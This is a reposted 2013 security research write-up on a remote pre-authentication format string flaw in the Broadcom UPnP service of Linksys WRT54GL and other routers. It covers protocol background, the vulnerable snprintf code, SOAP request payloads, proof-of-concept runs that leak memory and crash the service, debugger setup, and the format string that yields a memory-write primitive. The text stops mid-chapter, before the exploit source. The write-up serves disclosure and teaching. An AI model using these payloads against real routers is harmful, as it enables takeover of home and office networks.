Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save cyberheartmi9/40aa8f6d931ad4d7eab7e1b65a52967e to your computer and use it in GitHub Desktop.
Save cyberheartmi9/40aa8f6d931ad4d7eab7e1b65a52967e to your computer and use it in GitHub Desktop.
From Zero to ZeroDay Journey: Router Hacking (WRT54GL Linksys Case)
===================================================================
- Leon Juranic <leon[at]defensecode.com>
http://www.defensecode.com/
Date: 03/10/2013
Table Of Content:
===[ 1. Introduction
===[ 2. Vulnerability background
===[ 2.1 Know Your Enemy - Linksys WRT54GL
===[ 2.2 UPnP brief history and protocol basics
===[ 2.2.1 Addressing
===[ 2.2.2 Discovery
===[ 2.2.3 Description
===[ 2.2.4 Control
===[ 2.2.5 Eventing
===[ 2.2.6 Presentation
===[ 3. Vulnerability details
===[ 4. Basic Proof Of Concept Exploit
===[ 5. Debugging Environment
===[ 5.1 Required Hardware
===[ 5.2 Required Software
===[ 5.3 Debugging
===[ 6. Pieces for the exploit
===[ 7. PC register takeover
===[ 8. Gaining control over the router
===[ 9. Post-intrusion fun
===[ 10. Greetz & shouts
===[ 11. About DefenseCode
===[ Cisco Linksys WRT54GL Exploit
===[ Vulnerable Manufacturers And Router Models
===[ 1. Introduction
Hacking network devices is a sort of the Holy Grail for hackers, because
once we're in a network device like a router or switch, we can (more-or-less)
overtake all machines behind it.
Network traffic sniffing, man-in-the-middle attacks, binary infection
on-the-fly, further network penetration, so on, and so on...
Hell, you can even play games on someone's router if you want. :)
A few months ago I've stumbled across a very interesting remote preauthentication
code execution vulnerability in a very popular Cisco Linksys router, present in
default installation.
Vulnerability itself was initially located in Cisco Linksys WRT54GL model.
According to data available on the internet, Cisco Linksys WRT54GL
alone was sold >20M worldwide.
At first, that seemed like immense and very interesting playground -
and vulnerability that definitely deserves attention.
To make it even funnier, later it turned out that other Cisco Linksys
models are vulnerable, and even more - many other router models from other
manufacturers are also affected by the very same vulnerability.
Just to name a few: ASUS, D-Link, Zyxel, US Robotics, TP-Link, Netgear, etc.
Full vulnerable vendor list reference is present at the end of the article.
During the further vulnerability analysis and data provided by HD Moore (thanks;) of
Metasploit/Rapid7, it turned out that there are at least 15M vulnerable routers
visible (hackable;-) directly from the internet. Probably many more in local
networks and wireless hotspots.
Hacking embedded devices like routers is always funny, basically because they're
designed as closed Black-Box systems for specific purpose.
Interesting thing for embedded devices is that a very small percent of users will
ever actually upgrade (flash) their routers with new firmware when some
vulnerability is discovered, no matter how dangerous the vulnerability is.
That said, I think it's safe to assume that years after this article, there will
still be many vulnerable routers out there.
In the following article, we will show you how to remove the shroud of Black-Box
mist from router devices like that, and even more - to have some fun while doing
that. Join us on "From Zero To ZeroDay" journey...
===[ 2. Vulnerability background
When some vulnerability is present across multiple router models from various router
manufacturers, logical assumption is that the vulnerable component itself is developed by
a third party.
Remote preauth vulnerability we'll discuss in this article is present in the UPnP
protocol implementation originally developed by Broadcom Company and distributed by
many router manufacturers (full vulnerable vendor list at the end).
UPnP stands for Universal Plug and Play protocol.
Brief description:
"Universal Plug and Play (UPnP) is a set of networking protocols that permits
networked devices, such as personal computers, printers, Internet gateways, Wi-Fi access points
and mobile devices to seamlessly discover each other's presence on the network and establish
functional network services for data sharing, communications, and entertainment."
So basically, UPnP is designed to connect all your computers, gadgets, TV's, Microwave
Ovens and Refrigerators together. Almost all popular SOHO routers will support
UPnP nowadays, and in most cases, UPnP is turned on by default on them.
For start, there are couple of major design flaws within the UPnP protocol and
its implementations.
First of all - it doesn't require any form of authentication, and second - many UPnP
implementations will accept requests directly from the WAN interface.
In a modern, interconnected world, any little bit more complex protocol that doesn't support
any sort of authentication is a self-sufficient bad idea, but when implementations of protocol
like that also listen on WAN interface by default, it's a sort of a time-bomb anxiously
waiting to go off.
Another interesting thing about UPnP is that the protocol itself is (comparing to other
popular internet protocols) relatively new, because it was introduced in the late 90's.
That's why UPnP protocol and its implementations deserve attention from security perspective.
Over the time, various flaws were discovered in different UPnP protocol implementations.
In 2001 - eEye discovered critical vulnerabilities in Microsoft UPnP implementation
In 2006 - Various UPnP IGD implementation defects disclosed by Armijn Hemel
In 2008 - GNUcitizen abused Adobe Flash to reconfigure routers with UPnP
In 2011 - Security researcher Daniel Garcia exploited the flaw in some UPnP IGD
implementations on devices that allows UPnP requests on WAN.
In 2013 - DefenseCode discloses Broadcom UPnP implementation remote preauth code
execution in various router devices (described in this article)
In 2013 - HD Moore of Rapid7 discloses Multiple UPnP vulnerabilities in various
router devices
In the following sub-chapters, we will present specification and technical description
of our target - Cisco Linksys WRT54GL router (know your enemy, right?:-), along with some basic
UPnP protocol specification.
===[ 2.1 Know Your Enemy - Cisco Linksys WRT54GL
Later in the article we will describe how to gain remote shell on Cisco Linksys wireless router
- WRT54GL model, but be patient, young Jedi. First, let's see what is inside the box, just to know
what we're dealing with.
Cisco Linksys WRT54GL is a very popular Wi-Fi capable broadband router originally developed by Cisco
Linksys.
WRT54GL model comes in two hardware versions - 1.0 and 1.1 with basically the same hardware
specification. Our focus is on hardware version 1.1, with default firmware version - 4.30.7.
The specification is presented below.
+=======================================================+
| Cisco Linksys WRT54GL model - Hardware and Features |
+=======================================================+
| CPU: Broadcom BCM5352 chipset - 200 MHz |
+-------------------------------------------------------+
| CPU Architecture: Broadcom MIPS |
| (Microprocessor without Interlocked Pipeline Stages) |
| Based on RISC (Reduced instruction set computing) |
| Little Endian |
+-------------------------------------------------------+
| RAM: 16 MB |
+-------------------------------------------------------+
| Flash memory: 4 MB |
+-------------------------------------------------------+
| OS: Linux |
+-------------------------------------------------------+
| Frequency band: 2.4 GHz |
+-------------------------------------------------------+
| Data transfer rate: 54 Mbps |
+-------------------------------------------------------+
| Interfaces: WAN : 1 x Ethernet 10Base-T/100Base-TX |
| - RJ-45, LAN / DMZ : 4 x Ethernet 10Base-T/100Base-TX |
| - RJ-45 |
+-------------------------------------------------------+
| Data link: Ethernet, IEEE 802.11b, IEEE 802.11g, Fast |
| Ethernet |
+-------------------------------------------------------+
| Remote management: HTTP |
+-------------------------------------------------------+
| Features: Dynamic IP address assignment, Firewall |
| protection, DMZ port, Auto-sensing per device, |
| Auto-negotiation, Auto-uplink (auto MDI/|MDI-X), |
| MAC address filtering, Firmware upgradable, Wi-Fi |
| Multimedia (WMM) support, Stateful Packet Inspection |
| (SPI), DHCP support |
+-------------------------------------------------------+
| Encryption Algorithm: WPA2, WPA, 128-bit |
| WEP, 64-bit WEP |
+-------------------------------------------------------+
| Compliant standards: IEEE 802.11g, IEEE 802.11b, |
| Wi-Fi CERTIFIED, UPnP, IEEE 802.3u, IEEE 802.3 |
+-------------------------------------------------------+
===[ 2.2 UPnP brief history and protocol basics
Protocol descriptions can be somewhat dull and boring, and to be honest I wasn't thrilled
when I had to write this chapter. I've included it solely because UPnP itself is really
kinda "messed-up", so maybe it's not a bad idea to have some basic concepts included.
If this is your first real encounter with UPnP, I suggest reading, otherwise skip it.
As stated earlier, Universal Plug and Play (UPnP) protocol was introduced in late 90's.
A few different vendors were working on their own solutions for creating a protocol
whose purpose would be easier network devices and applications management.
UPnP predecessor, or better say, distant cousin was Sun's Jini, introduced in 1998.
Sun's Jini was developed with management purpose for co-operation between services of
distributed systems.
Somewhat later Microsoft stepped forward with UPnP protocol.
UPnP protocol is based on a few popular internet protocols and technologies like IP, TCP,
UDP, HTTP, and XML.
UPnP protocol stack implementation has 6 layers, of which the first one (addressing) is
optional.
UPnP stack layers:
0. Addressing
1. Discovery
2. Description
3. Control
4. Eventing
5. Presentation
A short description of UPnP protocol layers is presented below (if you're too lazy to read a more
detailed description):
- Addressing - UPnP device will obtain IP through DHCP or Auto-IP
- Discovery - UPnP capability to discover other devices on the network
- Description - XML file that will describe UPnP services
- Control - How to command other UPnP device or program to do something
- Eventing - "State variables" for UPnP-enabled device or program states
- Presentation - User interface
===[ 2.2.1 Addressing (optional)
Default behavior of devices with UPnP support is to get IP address through DHCP
(Dynamic Host Configuration Protocol) if possible. According to the UPnP protocol
specification, UPnP device which does not implement DHCP server itself must include DHCP client,
and search for DHCP server when the device is first connected to the network.
If a DHCP server is available, device must use IP address assigned to it.
If DHCP server is not available, device must use automatic IP addressing (Auto-IP)
to obtain and address. Auto-IP is defined in RFC 3927.
===[ 2.2.2 Discovery
When the UPnP-enabled device is connected to the network, it will send out a Discovery
message over the UDP (User Datagram Protocol) to the multicast address 239.255.255.250 on the
UDP port 1900. Discovery protocol itself is named SSDP (Simple Service Discovery Protocol),
and is very similar to the HTTP (Hyper Text Transfer Protocol).
SSDP discovery message purpose is to discover other UPnP-enabled devices available on the
network.
Start line of the SSDP protocol must be one of these:
1. NOTIFY * HTTP/1.1\r\n
2. M-SEARCH * HTTP/1.1\r\n
3. HTTP/1.1 200 OK\r\n
One standard SSDP request sent to the multicast address is presented below:
M-SEARCH * HTTP/1.1
HOST: 239.255.255.250:1900
MAN: ssdp:discover
MX: 10
ST: ssdp:all
UPnP-enabled devices on the network are supposed to reply to the 'Discovery' requests
with response similar to this:
HTTP/1.1 200 OK
CACHE-CONTROL:max-age=1800
EXT:
LOCATION:http://10.0.0.138:80/IGD.xml
SERVER:SpeedTouch 510 4.0.0.9.0 UPnP/1.0 (DG233B00011961)
ST:urn:schemas-upnp-org:service:WANPPPConnection:1
USN:uuid:UPnP-SpeedTouch510::urn:schemas-upnp-org:service:WANPPPConnection:1
See all those "special characters" in request and response? Many UPnP implementations
will parse and tokenize them in interesting ways... Speaking of where to look for
overflows... :)
===[ 2.2.3 Description
Response for the 'Discovery' message contains LOCATION header. Location header contains
URL where the service profile is located. Profile itself is a XML format file.
In previous case, it's http://10.0.0.138:80/IGD.xml. XML profile will contain control URL's
where later described control and eventing phase can send commands to.
===[ 2.2.4 Control
In control layer, a UPnP-enabled device or program can send commands to another UPnP-enabled
device or program in order to perform some task previously described in a profile description
XML file. Communication is driven using SOAP (Simple Object Access Protocol).
Particular service described in profile XML file can be requested by sending a SOAP request
to the specific control URL with adequate parameters.
===[ 2.2.5 Eventing
UPnP has state variables which purpose is to keep some state of UPnP devices and programs.
Another UPnP-enabled device or program can subscribe to the device state variables of
UPnP-enabled device. When state is changed, the new state is sent to all subscribed
UPnP-enabled devices or programs.
===[ 2.2.6 Presentation
Presentation layer stands for user interface, no further description needed.
===[ 3. Vulnerability details
As we previously said, the vulnerability is located in Broadcom UPnP stack, used
in Cisco Linksys WRT54GL, and in many other router models from other vendors.
The vulnerability itself is present in IGD (Internet Gateway Device) module of
a Broadcom UPnP stack.
Vulnerable piece of code can be called through SetConnectionType and
GetConnectionTypeInfo functions of 'wanipc' and 'wanppp' modules.
It can be reached with a single SOAP request for SetConnectionType function.
The vulnerability is very interesting because it is a classic Format String bug,
that can be exploited to remotely read or write memory on vulnerable router
devices (without prior authentication).
Format string vulnerability is present in all Cisco Linksys WRT54GL
firmware versions up to (and included) - 4.30.15.
In this article, we will assume that you already know what a format string
vulnerability is, and how it can be exploited. For newcomers, detailed
description of format string bugs can be found on
http://crypto.stanford.edu/cs155old/cs155-spring08/papers/formatstring-1.2.pdf.
Format string vulnerability is present because user-input value from SOAP request is
supplied as a format string argument to the snprintf() function in files wanipc.c
and wanpp.c. Vulnerable code lines are located in the following files and code lines
/upnp/igd/wanipc.c:
-------------------
static int SetConnectionType(UFILE *uclient, PService psvc, PAction ac,
pvar_entry_t args, int nargs) {
snprintf(psvc->vars[VAR_ConnectionType].value, sizeof(psvc->vars[
VAR_ConnectionType].value), ac->params[0].value); <------ HERE
return TRUE;
}
-------------------
/upnp/igd/wanppp.c:
-------------------
int WANPPPConnection_SetConnectionType(UFILE *uclient, PService psvc,
PAction ac, pvar_entry_t args, int nargs)
/* "SetConnectionType", WANPPPConnection_SetConnectionType, */
{
snprintf(psvc->vars[VAR_ConnectionType].value, sizeof(psvc->vars
[VAR_ConnectionType].value), ac->params[0].value); <------ HERE
return TRUE;
}
-------------------
Vulnerability itself can be reached with a single SOAP request that calls
SetConnectionType function as presented below.
SetConnectionType:
-------------------
<?xml version="1.0"?>
<SOAP-ENV:Envelope...>
<SOAP-ENV:Body>
<m:SetConnectionType
xmlns:m="urn:schemas-upnp-org:service:WANIPConnection:1" as="">
<NewConnectionType> #FORMAT_STRING# </NewConnectionType>
</m:SetConnectionType>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
-------------------
Format string output is available through GetConnectionTypeInfo SOAP
request.
GetConnectionTypeInfo:
----------------------
GetConnectionTypeInfo:
<?xml version="1.0"?>
<SOAP-ENV:Envelope...>
<SOAP-ENV:Body>
<m:GetConnectionTypeInfo
xmlns:m="urn:schemas-upnp-org:service:WANIPConnection:1">
</m:GetConnectionTypeInfo>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
----------------------
For start, in the following chapter, we will show you how to reach vulnerable code
with a simple proof of concept exploit.
===[ 4. Basic Proof Of Concept Exploit
Like most researchers out there, whenever I'm developing some exploit, prior to any
serious steps I will try to write a PoC exploit just to verify the vulnerability.
Cisco Linksys WRT54GL UPnP SOAP service is listening on TCP port 5431, so all
requests from our PoC exploit will be sent to that port. Also worth mentioning is
that router's UPnP service is running under the root account.
To reach format string bug itself, we will use two different SOAP requests for SetConnectionType
and GetConnectionTypeInfo actions.
SetConnectionType will be used for setting the format string and GetConnectionTypeInfo method
for reading the format string output.
It is also important to mention that appropriate UUID must be set in POST requests for SOAP service.
In case of Cisco Linksys WRT54GL (version 4.30.7), UUID is 586d-8fd8-04f5020099dc.
SOAP Requests will be formed as presented below.
1. SetConnectionType (HTTP)
- SOAP header SOAPAction for SetConnectionType
- urn:schemas-upnp-org:service:WANIPConnection:1#SetConnectionType
- XML with <NewConnectionType>#FORMAT_STRING#</NewConnectionType>
2. GetConnectionTypeInfo (HTTP)
- SOAP header SOAPAction for GetConnectionTypeInfo
- urn:schemas-upnp-org:service-1-0:WANIPConnection:1#GetConnectionTypeInfo
- XML with <m:GetConnectionTypeInfo></m:GetConnectionTypeInfo>
Just to mention, vulnerable UPnP IGD network stack will respond with
"Server" HTTP header like - "LINUX/2.4 UPnP/1.0 BRCM400/1.0".
PoC exploit source code is attached at the end of the file. This simple PoC
will only take one argument (format string to set). Just to mention -
router's IP address is hardcoded into the PoC exploit source (192.168.1.1 default)
Let's try it now...
[root@defensecode linksys]# python cisco_linksys_poc.py
> Cisco Linksys WRT54GL Remote Preauth 0day PoC
> Leon Juranic <[email protected]>
> Usage: cisco_linksys_poc.py <FMTSTRING>
[root@defensecode linksys]# python cisco_linksys_poc.py _%x_%x_%x_%x_%x
> Cisco Linksys WRT54GL Remote Preauth 0day PoC
> Leon Juranic <[email protected]>
> Received '<?xml version="1.0"?>\r\n<s:Envelope xmlns:s="http://schemas.xmlsoap.o
rg/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><
s:Body><m:GetConnectionTypeInfoResponse xmlns:m="urn:schemas-upnp-org:service:WA
NIPConnection:1"><NewConnectionType>_7fff7b60_10009190_1_10009190_413940</NewCon
nectionType><NewPossibleConnectionTypes>Unconfigured,IP_Routed,IP_Bridged</NewPo
ssibleConnectionTypes></m:GetConnectionTypeInfoResponse></s:Body></s:Envelope>\r
\n'
> FMT RESPONSE: _7fff7b60_10009190_1_10009190_413940
Ok, now we're getting somewhere. In the response above, you will see router
memory addresses, so we can use this interesting format string bug to read
router's memory. Let's try some more...
[root@defensecode linksys]# python cisco_linksys_poc.py _%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x
> Cisco Linksys WRT54GL Remote Preauth 0day PoC
> Leon Juranic <[email protected]>
> Received '<?xml version="1.0"?>\r\n<s:Envelope xmlns:s="http://schemas.xmlsoap
.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
><s:Body><m:GetConnectionTypeInfoResponse xmlns:m="urn:schemas-upnp-org:service:
WANIPConnection:1"><NewConnectionType>_7fff7b60_10009190_1_10009190_413940_0_7ff
f7bd8_7fff7c28_7fff7bed_1_7fff7bd8_10009190_0_1000056c</NewConnectionType><NewPo
ssibleConnectionTypes>Unconfigured,IP_Routed,IP_Bridged</NewPossibleConnectionTy
pes></m:GetConnectionTypeInfoResponse></s:Body></s:Envelope>\r\n'
> FMT: _7fff7b60_10009190_1_10009190_413940_0_7fff7bd8_7fff7c28_7fff7bed_1_7fff7
bd8_10009190_0_1000056c
We're definitely getting somewhere...
Now let's try to crash the service itself with "%n" format string.
[root@defensecode linksys]# python cisco_linksys_poc.py %n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n
> Cisco Linksys WRT54GL Remote Preauth 0day PoC
> Leon Juranic <[email protected]>
> Cannot connect to the target port...
Ok, so now we know that we can use this vulnerability to crash Cisco Linksys WRT54GL
UPnP SOAP service. Router has to be restarted to start the UPnP service again...
However, that's not really interesting to us. We're heading towards that magic '#'
character - the root shell :)
Our next step is full exploit development for the router.
We all know that for exploit development process, debugger is a must-have tool,
otherwise, you'll walk in the dark for a long time - but that's especially true when
you're hacking some "obscure" embedded device.
For some time I have been thinking about how this exploit could be developed without a debugger,
just by using the remote memory read feature of format string bug, but it's not all
that easy, and it would be a waste of time (even just to confirm that it's too hard to do).
So, our next logical step is setting up a debugging environment for our target router,
with the whole process described in the next chapter.
===[ 5. Debugging Environment
Debugging embedded devices is not exactly easy as debugging local programs. In fact,
it can be much more complicated, or better say... time-consuming and annoying.
First you need to buy hardware for serial port access, then you need to open your router up and
connect the serial interface to it, then you need to cross-compile debugging tools and also
upload them to the router for the purpose of debugging.
Debugging environment setup is described in the following chapters.
===[ 5.1 Required Hardware
EIA standard RS-232-C, or more popular "serial port" dates from the 1960s.
It is used to connect two devices and exchange binary data and control signals between them.
Over the last decade or two it's being surpassed by USB due to its (RS232C) low transmission
speed, large voltage swing, and large connectors.
Nevertheless it is still being used in equipment like network devices, as it is the case in
our Cisco Linksys WRT54GL.
Here it can be used to access the boot loader and shell which is not accessible over the network
interface.
However, this router port is not exposed to the outside world, but only as a placeholder
of 2 rows of 5 soldering points on the circuit board of the device. Besides not being physically
exposed to the outside, its voltages are not quite the ones dictated by the standard, so a little
electronic circuit is required in order to interface the low circuit board serial port voltage
(3.3V) to the one expected by the computer serial port. If the computer which connects to the
router over serial port doesn't actually have a serial port, a USB-to-serial is needed.
There are actually two serial ports on the circuit board of the Linksys router. The holes
locations are indicated on the image below with "SERIAL PORTS" together with pin numbering,
and the pinout is as follows:
Serial port 1 (ttyS0)
2 - Vcc 3.3V
4 - Tx 0
6 - Rx 0
8 - n/c
10 - GND
Serial port 2 (ttyS1)
1 - Vcc 3.3V
3 - Tx 1
5 - Rx 1
7 - n/c
9 - GND
[Reference: http://wiki.openwrt.org/toh/linksys/wrt54g]
+-+ <----- antenna connectors ----> +-+
I I I I
I I____________________________________I I
|### | | | LAN | |WAN| rst ###|
|### |_| |___ethernet__| |___| ###|
| pwr |
| |
| |
| |
| +------+ |
| | CPU | ______________________|
| | | |
| +------+ |
| |
| 10 oo 9| \
| oo | \
| oo | > SERIAL PORTS
| oo | /
| 2 o# 1| /
| |
| :: |
| :: |
| :: |
+T---#-#--######-----+
I * * ******
wlan \---LED---/
btn
It is best to solder a pin header for the serial ports and avoid further
soldering iron contact with the sensitive PCB. The voltage levels adapter used for
debugging was a cheap one ($15) from ebay which had a pin header with Tx,Rx,GND,Vcc
labels and 4 wires which easily attach to the soldered pin header. I'm sure you can get
one in your favorite hackterial store.
Chip in the adapter that does the "voltage magic" is usually labeled similar to the
one first created by Maxim Integrated Products, named "MAX232".
Is it necessary mentioning that opening the case and soldering things to the device
will void the warranty?
===[ 5.2 Required Software
When appropriate hardware is installed, we need some program for serial port
communication, because we will have to connect to the router's console.
You can use 'minicom' or 'screen', or whatever else you prefer, as long as it is
suitable for remote serial console communication. Baud rate for Cisco Linksys
WRT54GL serial console should be set to the 115200 bit/s, otherwise you will get
garbage output from the console.
Once we're connected to the router serial console, we will have local
root access on router as presented below:
---
BusyBox v0.60.0 (2006.06.20-06:42+0000) Built-in shell (msh)
Enter 'help' for a list of built-in commands.
#
# cat /proc/cpuinfo
system type : Broadcom BCM947XX
processor : 0
cpu model : BCM3302 V0.8
BogoMIPS : 199.47
wait instruction : no
microsecond timers : yes
tlb_entries : 32
extra interrupt vector : no
hardware watchpoint : no
VCED exceptions : not available
VCEI exceptions : not available
unaligned_instructions : 4
dcache hits : 3773443533
dcache misses : 2109193075
icache hits : 2638947518
icache misses : 3574102219
instructions : 0
# ps aux
PID Uid Stat Command
1 0 S init noinitrd
2 0 S [keventd]
3 0 S [ksoftirqd_CPU0]
4 0 S [kswapd]
5 0 S [bdflush]
6 0 S [kupdated]
7 0 S [mtdblockd]
21 0 S resetbutton
56 0 S tftpd -s /tmp -c -l
57 0 S cron
60 0 S httpd
65 0 S ses -f
69 0 S upnp -D -L br0 -W vlan1 -S 0 -I 60 -A 180
72 0 S udhcpc -i vlan1 -l br0 -p /var/run/wan_udhcpc.pid -s /tmp/
93 0 S /bin/sh
96 0 R ps aux
# nvram show
filter_dport_grp3=
wl_mac_deny=
wl_radius_port=1812
opo=0x0008
filter_dport_grp4=
wan_unit=0
filter=on
filter_dport_grp5=
wl0_net_mode=mixed
os_ram_addr=80001000
filter_dport_grp6=
filter_dport_grp7=
filter_dport_grp8=
wl0_frameburst=off
filter_dport_grp9=
log_ipaddr=0
ddns_username_2=
...
...
...
---
For detailed debugging, we will use gdb server cross-compiled for MIPS(LE)
architecture and gdb compiled with MIPS(LE) support. LE suffix stands for
Little Endian.
The crucial step is cross-compiling essential tools (like gdb, nc, etc)
in order to have basic environment for exploitation.
There are various pre-made cross-compiling toolchains to help in
cross-compiling. You can just google for "cross compiling toolchains"
and you will find a lot of tools. Good ones include CodeSourcery,
Scratchbox, and Buildroot.
Since we only needed a few tools, buildroot was our toolchain of
choice. It can be downloaded from: http://buildroot.uclibc.org/ and
everyone who have compiled Linux kernel or openwrt (for example) themselves,
would find their way around toolchain quickly.
We have used gdb version 6.8 since it is easier for cross-compiling than
a newer version. Since embedded architectures are usually limited
in resources, gdb has a nice feature to only have small binary called gdbserver
on embedded device and have full blown gdb on desktop.
Cross compiling and statically building gdbserver is straightforward.
Afterwards, you can just run gdbserver on target device and run gdb on
desktop/laptop PC telling gdb to connect to gdbserver in
order to perform remote debugging (there is also some good gdb documentation
on this topic if you are not familiar with this process).
===[ 5.3 Debugging
In this chapter we'll demonstrate UPnP service debugging. First, we will start gdbserver on
router device and attach it to the UPnP service. Afterwards, we will run gdb debugger on our
desktop/laptop computer, and connect it to the remote gdbserver debugging session.
gdb client will be connected from the IP address 192.168.58.129, and gdbserver service
will listen on port 5000. UPnP process PID is in this case 69.
Following commands are issued on the router device via the serial console:
# ps aux
...
69 0 S upnp -D -L br0 -W vlan1 -S 0 -I 60 -A 180
...
# ./gdbserver --attach 192.168.58.129:5000 69
Attached; pid = 69
Listening on port 5000
Remote debugging from host 192.168.1.100
When everything is set, we will run the following command (target remote
192.168.1.1:5000) on the gdb client side.
[root@defensecode linksys]# ./gdb
GNU gdb (GDB) 7.5
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "--host=i686-redhat-linux-gnu --target=mipsel-linux".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
(gdb) target remote 192.168.1.1:5000
Remote debugging using 192.168.1.1:5000
0x2ac216f4 in ?? ()
(gdb) i r
zero at v0 v1 a0 a1 a2 a3
R0 00000000 1000fc01 00000202 00000000 00000007 7fff7d80 00000000 00000001
t0 t1 t2 t3 t4 t5 t6 t7
R8 0000fc00 00000000 00000000 00000000 809832a4 00000001 809832a0 00000007
s0 s1 s2 s3 s4 s5 s6 s7
R16 00000000 7fff7d80 00000007 10006060 10006040 10007fa0 00000001 00000000
t8 t9 k0 k1 gp sp s8 ra
R24 00000000 2ac21690 00000000 00000000 2ac732a0 7fff7d10 00000000 0040abd8
sr lo hi bad cause pc
00000000 00000006 00000000 8005a7b8 00000020 2ac216f4
fsr fir
00000000 00000000
(gdb) c
Continuing.
Ok, we have active gdb debugging session with UPnP service on our Cisco Linksys
WRT54GL router. Now we can move on to the real thing...
===[ 6. Pieces for the exploit
We have everything ready for the magic now...
It is assumed that dear reader is familiar with format string vulnerability exploitation
technique, so no details about it will be given here.
That said, first steps in exploitation process is to discover where is our input located
in the memory. Later, we will use that for "%n" format string write ability,
to overwrite arbitrary memory locations, and to gain the control of PC register.
In the following example, previously introduced PoC exploit will be used to crash UPnP
service, and analyze memory environment.
[root@defensecode linksys]# python cisco_linksys_poc.py %n%n%n%n%n%n%n%n
> Cisco Linksys WRT54GL Remote Preauth 0day PoC
> Leon Juranic <[email protected]>
When PoC exploit is started, our gdb debugging session will be interrupted
with segmentation fault.
If we examine SP register, we will see that our input (or better say SOAP XML
request) is located above the memory address where SP points.
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x2ac10680 in ?? ()
(gdb) i r sp
sp: 0x7fff7820
(gdb) x/s $sp
...
...
0x7fff7bd7: ""
(gdb)
0x7fff7bd8: "</m:SetConnectionType"
(gdb)
0x7fff7bee: "nfo"
On the memory address 0x7fff7bd8, there is a part of our input - closing of SetConnectionType.
That should be enough for us to obtain write-4-anywhere primitive through the format string
("%hn" type).
It is important to mention that Cisco Linksys WRT54GL is using uClib
(C library developed for the embedded Linux systems). Less fortunate thing about uClib is that
it doesn't support format string '$' feature that can be used for direct memory parameter access.
So, it will be necessary to perform stack-pops until our input is reached.
Now we know where our input can be found, let's try to put something there that we
can control.
We will change payload for our GetConnectionTypeInfo SOAP request and add some custom data to it,
as presented below:
---
<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope"
SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>AAAAAAAAAAAAAAAAAAAAAA
<AAAABBBBCCCCEEEEFFFFGGXXXXAAAAAAAAXXXXIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPRRRRSSSSTTTTUUUU>
<m:GetConnectionTypeInfo xmlns:m="urn:schemas-upnp-org:service:WANIPConnection:1">
</m:GetConnectionTypeInfo>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
---
Let's try the PoC exploit again with new payload. This PoC will only call
GetConnectionTypeInfo function.
[root@defensecode linksys]# python cisco_linksys_exploit.py %u
> Cisco Linksys WRT54GL Remote Preauth 0day PoC
> Leon Juranic <[email protected]>
> Received '<?xml version="1.0"?>\r\n<s:Envelope xmlns:s="http://schemas.xmlsoap
.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
><s:Body><m:GetConnectionTypeInfoResponse xmlns:m="urn:schemas-upnp-org:service:
WANIPConnection:1"><NewConnectionType>IP_Routed</NewConnectionType><NewPossibleC
onnectionTypes>Unconfigured,IP_Routed,IP_Bridged</NewPossibleConnectionTypes></m
:GetConnectionTypeInfoResponse></s:Body></s:Envelope>\r\n'
> FMT: IP_Routed
Memory content after modified PoC exploit execution is presented below.
(gdb) x/s 0x7fff7bd4
0x7fff7bd4: "\rT"
(gdb)
0x7fff7bd7: ""
(gdb)
0x7fff7bd8: "</AAAABBBBCCCCEEEEFFFFGGXXXXAAAAAAAAXXXXIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPRRRRSSSST"
(gdb)
0x7fff7c28:
(gdb)
0x7fff7c2b: "\020=\224"
Now we have controllable input that can be used as memory address reference for
arbitrary memory overwrite with "%hn" format string.
To verify that we really have write-4-anywhere primitive, we will now again
modify the PoC exploit, and again re-introduce the call to SetConnectionType with %hn
(%n half-write).
Format string itself is formatted as presented below (python):
---
sendfmt = "%u" * 82 + "%.u%hn" + "%.u%.u%hn"
---
After executing modified PoC exploit with a new format string and controllable
input, we will again get segmentation fault, as presented below.
Program received signal SIGSEGV, Segmentation fault.
0x2ac1068c in ?? ()
(gdb) i r
zero at v0 v1 a0 a1 a2 a3
R0 00000000 00000200 00000200 00000231 58585858 00000200 00000231 00000000
t0 t1 t2 t3 t4 t5 t6 t7
R8 00000003 00000000 ffffffff 00000000 00000031 00000006 19999999 00000000
s0 s1 s2 s3 s4 s5 s6 s7
R16 1000969e 1000969d 7fff7a08 7fff7928 00000000 0000000b 7fff79d0 7fff7a08
t8 t9 k0 k1 gp sp s8 ra
R24 00000057 2ac10640 00000000 00000000 2ac732a0 7fff7820 00000020 2ac10378
sr lo hi bad cause pc
00000000 00000000 00000000 8005a7b8 0000000c 2ac1068c
fsr fir
00000000 00000000
(gdb) x/i $pc
=> 0x2ac1068c: sh a2,0(a0)
Program will crash at 'sh a2,0(a0)' instruction. If we check MIPS architecture manual,
sh instruction is pretty straightforward:
---
sh Rsrc1, imm(Rsrc2): Store Halfword
Store the lower 16 bits (halfword) of register Rsrc1 into memory address Rsrc2 + imm.
---
http://www.ece.umd.edu/~manoj/759M/MIPSALM.html
Basically, it will try to write halfword of the 'a2' register to the memory address
contained in 'a0' register. If we check 'a0' register value - it is 0x58585858, and
that is exactly the value of the "XXXX" ASCII string from our previously introduced input.
That said, we can write 2 bytes anywhere in the memory. Repeat that once again,
and we have write-4-anywhere primitive. Game over.
To gain control of the PC register, we will overwrite RET address at the 0x7fff7ab4
with the address of our shellcode.
===[ 7. PC register takeover
Now we know stack-pop offset where our input is located, and return address that
should be overwritten for PC (Program Counter) register takeover.
PoC exploit format string is (in python): "%u" * 82 + "%.u%hn" + "%.u%.u%hn"
Format string argument itself for the previously introduced format string will be sent
as presented below:
---
